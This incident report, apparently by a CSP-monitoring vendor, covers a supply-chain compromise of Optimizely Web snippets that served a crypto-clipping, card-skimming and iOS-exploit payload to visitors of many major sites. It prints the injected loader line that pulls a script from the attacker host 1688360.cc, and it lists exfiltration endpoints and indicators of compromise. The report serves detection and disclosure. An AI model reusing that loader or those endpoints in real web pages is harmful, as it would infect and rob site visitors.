Newshot

Optimizely Compromised, Served Malware on Zoom, GitLab

Original text(via Hacker News)

On 16 November 2026, malicious JavaScript was served to visitors of 178 organisations through the Optimizely Web experimentation platform. The list includes some of the most visited sites in the world: Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock.

The malware was a multi-purpose kit. It swapped cryptocurrency wallet addresses for the attacker's, skimmed payment cards, stole cookies and screenshots, and on iPhones and iPads it delivered the Coruna and DarkSword iOS exploit kits. Crypto has already been stolen, with verified transactions to the attackers.

This is exactly the kind of attack Report URI is designed to detect. Our platform can identify unexpected changes to trusted JavaScript, detect new scripts being loaded and reveal suspicious connections to external destinations. In this case, those signals would have exposed the malicious activity, even though the original script was being served from a trusted Optimizely domain. With an appropriate CSP in enforcement mode, organisations could have gone a step further and blocked key parts of the attack before they succeeded.

The important lesson here is that trusted JavaScript doesn't always remain trustworthy. A website can be compromised through a third-party dependency without its own code or infrastructure ever being breached.

Most of the malicious code has now been removed. At 21:52 UTC we found it in only 1 of the 188 infected snippets, down from 169 at 20:56 UTC. If your site uses Optimizely Web, or you visited any of the sites below today, read on.

What happened

Optimizely Web works by having each customer load a JavaScript "snippet" from Optimizely's CDN, for example https://cdn.optimizely.com/js/6395285578973184.js. The snippet contains Optimizely's code, the customer's experiments and an optional field called Project JavaScript (projectJS): custom code the customer writes in their Optimizely dashboard, which runs on every page.

The attacker wrote their own code into the Project JavaScript of customer projects, and the rest of each snippet was untouched. The file was still served from cdn.optimizely.com, with Optimizely's certificate, from a host that every affected site already trusted. Here is what was added to Zoom's snippet:


        "projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
      

We saw three versions of the injected loader:

  • A plain <script> tag pointing at https://1688360.cc/track.js (most snippets).
  • The same URL hidden in base64 with atob(). A search for "1688360.cc" won't find it. Smartsheet's snippet was cleaned at one point and then re-infected with this version, so whoever wrote the code still had access at the time.
  • A full inline copy of the payload, which runs through eval if 1688360.cc is blocked.

Some customers serve their snippet from their own domain, such as opt.scheels.com/js/<id>.js or www.vodafone.com.au/js/<id>.js. Those were affected too, because the content comes from the same Optimizely project.

We don't know how the attacker got write access to so many unrelated customer projects: a compromised Optimizely system, a compromised credential with cross-customer access, or something else. That's for Optimizely to explain. To be clear, Optimizely's CDN served exactly what it was given; this was not a CDN cache-poisoning attack. Optimizely's own sites were affected as well: the snippets for www.optimizely.com and login.optimizely.com both carried the code.

Timeline (UTC)

TimeEvent
Sep 17webshell.lol , the same actor's injector, first appears on Turkish sites through an SEO "backlink panel" script
Nov 09 17:525vobauua3ojpklx.icu registered (iOS exploit-kit router)
Nov 13 to 11-16Earlier wave: webshell.lol/get.js injected through Kissmetrics , StorifyMe and Minute Media scripts on sites including securitybank.com, faz.net, smh.com.au, vidaxl and foxsports.com
Nov 16 02:21Last clean urlscan capture of the BBC's Optimizely snippet
Nov 16 04:21First Optimizely injection seen (BBC snippet loading webshell.lol )
04:28 to 05:231688360.cc certificates issued; domain registered at 05:23
08:10First build of track.js (crypto clipper)
08:281688360.cc/track.js first seen on bbc.com
11:20Zoom's snippet modified (its Last-Modified header)
13:03Attacker sweeps stolen crypto to exchanges
13:43Card skimmer added to track.js
16:38eil786npto9u5bq.icu registered (second iOS router)
17:13 to 17:57Second iOS host added; Coruna iframe injected into every iOS 18.6-or-earlier visit
19:24 to 19:59Our sweep: 186 of 1,611 Optimizely snippets infected
~20:40 to 21:10Mass clean-up (Ledger 20:41, Smartsheet 20:56, BBC 21:07)
21:521 of 188 snippets still infected (TalkTalk)

The payload was rebuilt 26 times during the day. The attacker added features, and added wallets but never removed any.

What the payload does

Every visitor received the same script, track.js, and every part of it was active at once. What a visitor experienced depended on their device and what they did on the page.

1. Crypto address swapping (already stealing money)

The script finds any valid wallet address (BTC, ETH and EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash, Dogecoin) and replaces it with one of the attacker's. It validates checksums so it only swaps real addresses. It swaps them in:

  • page text, form fields, links and images;
  • the clipboard, on copy and through navigator.clipboard;
  • outgoing fetch/XHR requests, window.open, navigation and the iOS share sheet.

It re-scans the page whenever it changes. Copy an address from any affected page, or from anywhere else while that tab is open, and you may paste the attacker's.

2. Card skimming

Added at 13:43 UTC. The script watches form submissions and every fetch/XHR POST for a card number (Luhn-checked), expiry date and CVV. When it has all three, it sends them to https://1688360.cc/card.php with navigator.sendBeacon. Cards entered in hosted payment iframes (Stripe, Adyen and similar) were out of its reach. Cards typed into a site's own form fields were not.

3. Cookie and screenshot theft

When it swaps an address next to wallet or payment wording, it sends the following to https://1688360.cc/hit.php:

  • the page URL;
  • document.cookie (cookies not marked HttpOnly);
  • the original addresses it replaced;
  • a screenshot of the page, rendered with html2canvas.

4. iOS exploit kits: Coruna and DarkSword

On iPhones and iPads the script loads boot.js from 5vobauua3ojpklx.icu and eil786npto9u5bq.icu. It reads the iOS version and loads an exploit chain in a hidden iframe:

iOS versionChain
13 to 17Coruna ( /A8/ , plus a direct Coruna loader at /JIUJIU888/index.js )
18.xDarkSword ( /B9/ , /D11/ , /D12/ )
26Separate chain ( /C10/ ); currently only fingerprints the device

The Coruna loader is byte-identical to a sample we analysed in October from a different campaign. The kit's own comments say iOS 18.7.3 and later, and 26.3 and later, are patched. Pages on iOS 18.6 or earlier reload every 60 seconds to retry the exploit, which is a visible symptom.

Money stolen so far

As of 19:25 UTC on 16 November, the attacker's wallets had received about $7,040, all within roughly nine hours on the 16th:

WalletReceived≈ USD
BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW0.08298 BTC (4 tx), unspent$5,380
LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred517.02 LTC (3 tx)$762
TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa662.9 USDT + 184 TRX$719
ETH 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e0.055 ETH$100
BSC (same 0x address)82 USDT$82

Funds were swept out at 13:03 to 13:05 UTC. The USDC on Ethereum went to a HitBTC deposit address. The TRON wallet has been in use since March 2026, so this actor was active long before this campaign. We cannot see how many cards or cookies reached 1688360.cc.

Who was affected

We fetched 1,611 distinct Optimizely snippets, found mostly through our own crawl data, and checked each one for the malicious code. 188 snippets belonging to 178 organisations were infected. We kept a copy of every infected file, along with its response headers, SHA-256 hash and fetch time as evidence. The real number is likely higher as we could only check snippets we could find in time.

By sector

SectorOrgsExamples
Banking & Finance32Paychex, HSBC US, Equifax, SmartAsset, HSBC Hong Kong
Technology & SaaS23Zoom, Bitly, Salesforce, GitLab, Optimizely
Retail & Fashion20IKEA, ASOS, Mattel, American Eagle, Scheels
Streaming & Entertainment12Peacock, D&D Beyond, Wizards of the Coast, NOW TV, Zattoo
News & Media10CNN, BBC, Fox News, NPR, CTV News
Airlines & Travel9Alaska Airlines / Hawaiian Airlines, Transavia, Air France-KLM, KLM Netherlands, Trafalgar
Healthcare & Pharma8Invisalign, Takeda, Covetrus, iTero (Align), Covetrus Pharmacy
Industrial & Manufacturing8Fluke, eMaint (Fluke), Fluke Networks, Vaillant Germany, Fluke Process Instruments
Telecoms7Virgin Media, Virgin Media O2, Vodafone Australia, O2, TPG Telecom
Crypto & Trading6Ledger, IG, OANDA / Coinpass, interactive investor, TMS Brokers
Insurance6Asurion / uBreakiFix, Mutual of Omaha, Admiral, Securian Financial, eRenterPlan
Property & Real Estate6Buildium (managebuilding.com), Loft Living apartments, Buildium, HireAHelper, Flytte.no (and sister comparison sites)
Food & Hospitality5Restaurant ordering sites (order.online), Heineken, Home Chef, Starbucks Canada, Cinnabon
Home & Smart Home5Resideo, Honeywell Home, myQ (Chamberlain), Chamberlain, First Alert
Nonprofit & Civic4Change.org, ASPCA, UNICEF USA, DonorsChoose
Gambling4Betsson, PokerStars, tombola, Betfred
Professional Services4Freshfields, CohnReznick, Baringa, Cro Metrics
Logistics & Shipping3ShipStation / ShipEngine, Stamps.com, ShipEngine
Automotive3Lucid Motors, O'Brien Glass, Chevrolet dealer network (Bill Rapp and others)
Education3Walden University, Perlego, Chamberlain University

Full list

Ranked by Tranco position within each sector and the status at 21:52 UTC: every snippet except TalkTalk's had been cleaned.

Banking & Finance (32)

OrganisationDomains
Paychexwww.paychex.com
HSBC USwww.us.hsbc.com
Equifaxequifax.com , my.equifax.com , signin.my.equifax.com , www.equifax.com
SmartAssetsmartasset.com
HSBC Hong Kongwww.hsbc.com.hk
ABN AMROwww.abnamro.de , www.abnamro.nl , www.abnamromeespierson.be
TaxActwww.taxact.com
HSBC Mexicowww.hsbc.com.mx
HSBC Singaporewww.insurance.hsbc.com.sg
NetCreditwww.netcredit.com
Associated Bankwww.associatedbank.com
S-Pankkiwww.s-pankki.fi
Equifax Canadamy.equifax.ca , www.equifax.ca
Equifax UKequifax.co.uk
The Work Number (Equifax)theworknumber.com
Funding Circlefundingcircle.com , www.fundingcircle.com
HSBC Australiawww.hsbc.com.au
CashNetUSAwww.cashnetusa.com
OnDeckwww.ondeck.com
ICS Cardswww.icscards.nl
HSBC UAEwww.hsbc.ae
HSBC Malaysiawww.hsbc.com.my , www.hsbcamanah.com.my
Rest Superrest.com.au
HSBC Taiwanwww.hsbc.com.tw
HSBC Vietnamwww.hsbc.com.vn
HSBC Egyptwww.hsbc.com.eg
HSBC Philippineswww.hsbc.com.ph
SmartAdvisor Match (SmartAsset)smartadvisormatch.com
Compare Clubcompareclub.com.au
ABN AMRO Leaseabnamrolease.com

Technology & SaaS (23)

OrganisationDomains
Zoomwww.zoom.com , zoom.com , zoom.us
Bitlyarcg.is , bit.ly , bitly.com
Salesforceevergage.com , exacttarget.com , pardot.com , salesforce-scrt.com +4 more
GitLababout.gitlab.com , gitlab.com
Optimizelyhome.optimizely.com , login.optimizely.com , optimizely.com , prep.login.optimizely.com +1 more
Mixpanelmixpanel.com
Typeformtypeform.com , www.typeform.com
InMotion Hostingwww.inmotionhosting.com
Wasabiwasabi.com , wasabisys.com
Perforce / Zend / Puppetwww.perforce.com , www.puppet.com , zend.com
Tableauwww.tableau.com
Hootsuitehootsuite.com , www.hootsuite.com
Smartsheetde.smartsheet.com , es.smartsheet.com , fr.smartsheet.com , help.smartsheet.com +2 more
MuleSoftmulesoft.com , www.mulesoft.com
Thales / Impervacommunity-cybersec.thalesgroup.com , imperva.com
Tricentiswww.tricentis.com
Web Hosting Hubwww.webhostinghub.com
QR Code Generatorlogin.qr-code-generator.com , www.qr-code-generator.com
ServiceChannelpreview.servicechannel.com , servicechannel.com , servicechannel.us
Brandfolderbrandfolder.com
Intelexwww.intelex.com
Enveruswww.enverus.com
Accruentwww.accruent.com

Retail & Fashion (20)

OrganisationDomains
IKEAclient.home-design.ikea.com
ASOSasos.com
Mattelcreations.mattel.com
American Eaglewww.ae.com
Scheelsscheels.com , www.scheels.com
Ariatwww.ariat.com
American Girlwww.americangirl.com
StackSocialwww.stacksocial.com
Crocs Indiawww.crocs.in
Levi's Japanlevi.jp
Todd Snyderwww.toddsnyder.com
Levi's Indonesialevi.co.id
Just Russelapp.brt-4076-credits-in-order-summary.justrussel.de , app.rph-487-customer-can-switch-their-pet-to.justrussel.be , app.rph-487-customer-can-switch-their-pet-to.justrussel.com , app.rph-487-customer-can-switch-their-pet-to.justrussel.fr +1 more
Loloi Rugswww.loloirugs.com
Levi's Australialevis.com.au
Levi's Malaysialevi.com.my
Levi's Philippineslevi.com.ph
Levi's Singaporelevi.com.sg
Levi's Korealevi.co.kr
Levi's New Zealandlevis.co.nz

Streaming & Entertainment (12)

OrganisationDomains
Peacockpeacocktv.com , www.peacocktv.com
D&D Beyonddndbeyond.com , www.dndbeyond.com
Wizards of the Coastsecretlair.wizards.com
NOW TVnowtv.com , www.nowtv.com
Zattoozattoo.com
Cravewww.crave.ca
Starzwww.starz.com
SkyShowtimewww.skyshowtime.com
Bravowww.bravotv.com
SeaWorldbuschgardens.com , seaworld.com
WOW (Sky Deutschland)www.wowtv.de
NOW Italiawww.nowtv.it

News & Media (10)

OrganisationDomains
CNNcnn.com , edition.cnn.com , us.cnn.com , www.cnn.com
BBCwww.bbc.co.uk , www.bbc.com
Fox Newswww.foxnews.com
NPRlegacy-s1.npr.org , legacy.stage.npr.org , media.stage.npr.org , s-s1-origin.npr.org
CTV Newswww.ctvnews.ca
Fox Sportsfoxsports.com
BNN Bloomberg / CP24www.bnnbloomberg.ca , www.cp24.com
TSNwww.tsn.ca
Top Gearwww.topgear.com
BBC Earthwww.bbcearth.com

Airlines & Travel (9)

OrganisationDomains
Alaska Airlines / Hawaiian Airlineswww.alaskaair.com , www.hawaiianairlines.com
Transaviawww.transavia.com
Air France-KLMliberia.klm.com , russia.airfrance.com , www.klm.be , wwws.airfrance.fr
KLM Netherlandsdeal.klm.nl
Trafalgarwww.trafalgar.com
Contikiwww.contiki.com
Insight Vacationswww.insightvacations.com
The Travel Corporationuat.costco.ttc.com
Costsaverwww.costsavertour.com

Healthcare & Pharma (8)

OrganisationDomains
Invisaligninvisalign.com , www.invisalign.com
Takedawww.takeda.com
Covetruscovetrus.com
iTero (Align)itero.com
Covetrus Pharmacyeastfieldveterinary.covetruspharmacy.com
myCovetruswww.mycovetrus.com
RaySafe (Fluke)www.raysafe.com
Takeda Oncologywww.takedaoncology.com

Industrial & Manufacturing (8)

OrganisationDomains
Flukefluke.com
eMaint (Fluke)www.emaint.com
Fluke Networkswww.flukenetworks.com
Vaillant Germanywww.vaillant.de
Fluke Process Instrumentswww.flukeprocessinstruments.com
Fluke Biomedicalwww.flukebiomedical.com
Landauerwww.landauer.com
Vaillant Spainwww.vaillant.es

Telecoms (7)

OrganisationDomains
Virgin Mediavirginmedia.com , www.virginmedia.com
Virgin Media O2virginmediao2.co.uk , www.virginmediao2.co.uk
Vodafone Australiawww.vodafone.com.au
O2o2.co.uk , www.o2.co.uk
TPG Telecomwww.tpg.com.au
Mint Mobilewww.mintmobile.com
TalkTalktalktalk.co.uk , www.talktalk.co.uk

Crypto & Trading (6)

OrganisationDomains
Ledgerledger.com , www.ledger.com
IGwww.ig.com
OANDA / Coinpassoanda.com , www.oanda.com
interactive investorwww.ii.co.uk
TMS Brokerswww.tms.pl
Betashareswww.betashares.com.au

Insurance (6)

OrganisationDomains
Asurion / uBreakiFixwww.asurion.com , www.ubreakifix.com
Mutual of Omahamoocat.mutualofomaha.com , www.mutualofomaha.com
Admiralwww.admiral.com
Securian Financialwww.securian.com
eRenterPlanerenterplan.com
AKA (Danish unemployment fund)www.aka.dk

Property & Real Estate (6)

OrganisationDomains
Buildium (managebuilding.com)headwayassetsllc.managebuilding.com
Loft Living apartmentstheapartmentsatkeltonstation.loftliving.com
Buildiumwww.buildium.com
HireAHelperqa2.hireahelper.com
Flytte.no (and sister comparison sites)flytte.no
MovingPlaceunionplus-qa4.movingplace.com

Food & Hospitality (5)

OrganisationDomains
Restaurant ordering sites (order.online)order.online
Heinekenwww.heineken.com
Home Chefwww.homechef.com
Starbucks Canadawww.starbucks.ca
Cinnabonwww.cinnabon.com

Home & Smart Home (5)

OrganisationDomains
Resideoresideo.com , www.resideo.com
Honeywell Homewww.honeywellhome.com
myQ (Chamberlain)www.myq.com
Chamberlainwww.chamberlain.com
First Alertwww.firstalert.com

Nonprofit & Civic (4)

OrganisationDomains
Change.orgwww.change.org
ASPCAaspca.org , dev-cloudflare.aspca.org , secure.aspca.org , www.aspca.org
UNICEF USAwww.unicefusa.org
DonorsChoosewww.donorschoose.org

Gambling (4)

OrganisationDomains
Betssonbetsson.bet.ar , www.betsson.co , www.betsson.com , www.betsson1002.com
PokerStarswww.pokerstars.com , www.pokerstars.de , www.pokerstars.fr , www.pokerstars.pt +1 more
tombolatombola.co.uk , tombolaarcade.co.uk , www.tombola.co.uk , www.tombola.it +1 more
Betfredwww.betfred.com

Professional Services (4)

OrganisationDomains
Freshfieldswww.freshfields.com
CohnReznickwww.cohnreznick.com
Baringawww.baringa.com
Cro Metricscrometrics.com

Logistics & Shipping (3)

OrganisationDomains
ShipStation / ShipEngineshipstation.com , www.shipstation.com
Stamps.comwww.stamps.com
ShipEnginewww.shipengine.com

Automotive (3)

OrganisationDomains
Lucid Motorslucidmotors.com
O'Brien Glasswww.obrien.com.au
Chevrolet dealer network (Bill Rapp and others)www.billrappchevy.com

Education (3)

OrganisationDomains
Walden Universitywww.waldenu.edu
Perlegowww.perlego.com
Chamberlain Universitywww.chamberlain.edu

The earlier webshell.lol wave, through Kissmetrics, StorifyMe and Minute Media, affected other sites and isn't included above.

How Report URI would have detected, or even prevented, this attack

Every one of these needs only a CSP in Report-Only mode, so nothing on the site breaks:

ProductWhat it would have flagged
Script WatchA new script dependency on your site: https://1688360.cc/track.js , followed by the .icu iOS routers.
Data WatchNew data destinations: 1688360.cc/hit.php and 1688360.cc/card.php .
Frame WatchA new frame source: eil786npto9u5bq.icu , the exploit-kit iframe.
CSP Integrity + JS Time Machine + Script VaultYour Optimizely snippet's fingerprint changing, plus a brand-new script with no matching known file. The JS Time Machine shows when the new version first appeared and how long it was served.
Threat IntelligenceReports naming 5vobauua3ojpklx.icu and webshell.lol are already flagged as IoCs, as are 1688360.cc and the other hosts below once they were added.

It's possible to go even further and deploy a CSP that could actively block these attacks and prevent any data breach happening. The websites affected by this attack weren't necessarily running vulnerable code of their own, they were loading JavaScript from a provider they trusted, and that trust was exploited. This is why monitoring what runs in your visitors' browsers is so important. Report URI gives organisations the visibility to detect when trusted dependencies change or behave unexpectedly, and the tools to help enforce policies that prevent malicious scripts and connections from succeeding.

Did Content Security Policy help?

We crawled 256 of the affected organisations' own hosts and evaluated their CSP against what this payload needs:

  • Load track.js from 1688360.cc.
  • Or run the inline fallback, which needs 'unsafe-eval' or 'unsafe-inline'.
  • Send stolen data to 1688360.cc (connect-src).
  • Load the iOS kit (script-src, frame-src).
ResultOrganisations
No CSP at all68
CSP allowed the payload and the data theft50
Payload ran, but connect-src blocked the data theft (the address swapping still worked)17
Payload blocked24 (15%)

Allowing cdn.optimizely.com was never going to help. The malicious code arrived from the trusted host itself. What separated the 24 protected sites from the rest was a restrictive script-src. A site that lists only the hosts it needs blocks 1688360.cc. Two common settings let it straight through:

  • 'strict-dynamic': any script the trusted Optimizely snippet inserts is trusted too.
  • 'unsafe-eval', which Optimizely's own documentation tells customers to allow: the inline-fallback version ran through eval even where track.js was blocked. That is what happened at HSBC. Its CSP blocked track.js and the data theft, but the inline copy still ran.

connect-src matters. The 17 "partial" sites blocked card, cookie and screenshot theft because they restrict where the page can send data. That doesn't stop address swapping, which happens inside the page.

What to do now

If your site uses Optimizely Web:

  • Open every project's Project JavaScript and every experiment's custom code. Look for 1688360.cc, atob( and any script you didn't write.
  • Review who and what has write access to your Optimizely account (users, API tokens, integrations) and rotate credentials.
  • If you have card fields in your own forms, treat cards entered on 16 November as potentially exposed.
  • Treat any session tokens or secrets in non-HttpOnly cookies as exposed, and rotate them.
  • Deploy a CSP. Restrict connect-src, avoid 'unsafe-eval' where you can, and turn on reporting.
  • Consider if you need to communicate to your customers about having served them malware.

If you visited an affected site on 16 November:

  • Update your iPhone or iPad to iOS 18.7.3 or later, or iOS 26.3 or later.
  • Check any crypto transfer you made. If the address you pasted doesn't match the one you meant to pay, it may have been swapped.
  • Watch your card statements if you paid by card on an affected site.

Indicators of compromise

All of these domains are attacker-owned; block them including subdomains.

IndicatorRole
1688360.ccC2: track.js , card.php , hit.php , html2canvas.min.js (136.113.106.136)
5vobauua3ojpklx.icuiOS router boot.js (34.96.213.201)
eil786npto9u5bq.icuiOS router, Coruna and iOS 26 pages (34.87.36.58)
l7bcsnwc7nzr3uo.icuCoruna telemetry, POST /api/iptj
webshell.lolInjector get.js (earlier wave)
linkforge.ccSEO-panel script carrying the injector
je4ft3gn8vxudum.icu , q1ls1ho9x7wsxlu.icu , ios-hack.icuFallback C2s hard-coded in boot.js
p55abnw2pnsz0bo.icu , 1y69gy2mdzaltz1.icu , gm38duxoihbmy5o.icuSame certificates and IPs as the kit
window._k7 , window.__k7bGlobal markers set by the payload
data-channel-code="02111110"Script-tag attribute on the iOS loader
BIGNIAOCoruna telemetry channel code
814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0fSHA-256, track.js (17:13 build)
f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40SHA-256, track.js (latest build, 17:57)

Attacker wallets: BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kWETH/EVM 0xC4026b06D82b0F0B363eda0642D61CfbDc17884eTRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxaSOL FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5nTON UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09pLTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5BCH qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58DOGE DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5

We keep an archive of every infected snippet with hashes and timestamps, and can share it with affected organisations and CERTs on request. During research and investigation, once we were confident that Optimizely was the source, we began efforts to reach out via various channels and provide the full details. At the time of publication, we have not had any response.

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